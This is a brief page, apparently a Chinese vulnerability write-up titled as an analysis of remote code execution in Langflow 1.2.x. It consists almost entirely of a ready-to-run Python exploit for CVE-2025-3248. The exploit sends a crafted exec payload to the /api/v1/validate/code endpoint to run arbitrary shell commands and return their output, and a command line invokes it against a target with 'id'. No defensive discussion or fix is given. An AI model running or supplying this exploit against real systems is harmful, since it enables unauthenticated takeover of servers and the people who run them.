Langflow 1.2.x远程代码执行漏洞分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

#!/usr/bin/env python3
import requests
import argparse
import json
from urllib.parse import urljoin

class LangflowRCE:
    def __init__(self, target_url, timeout=10):
        self.base_url = target_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers = {
            "User-Agent": "Langflow-RCE-Scanner",
            "Content-Type": "application/json"
        }
        self.timeout = timeout

    def run_payload(self, command):
        endpoint = urljoin(self.base_url, "/api/v1/validate/code")
        payload = {
            "code": (
                f"def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"{command}\", shell=True))')): pass"
            )
        }
        
        response = self.session.post(endpoint, data=json.dumps(payload), timeout=self.timeout)
        if response.status_code == 200:
            try:
                json_data = response.json()
                err = json_data.get("function", {}).get("errors", [""])[0]
                if isinstance(err, str) and err.startswith("b'"):
                    output = err[2:-1].encode().decode("unicode_escape").strip()
                    return output or "[!] No output returned."
            except Exception as e:
                return f"[!] Error parsing response: {e}"
        return "[!] Target may not be vulnerable or is patched."

1

python3 cve-2025-3248.py http://target:7860 "id"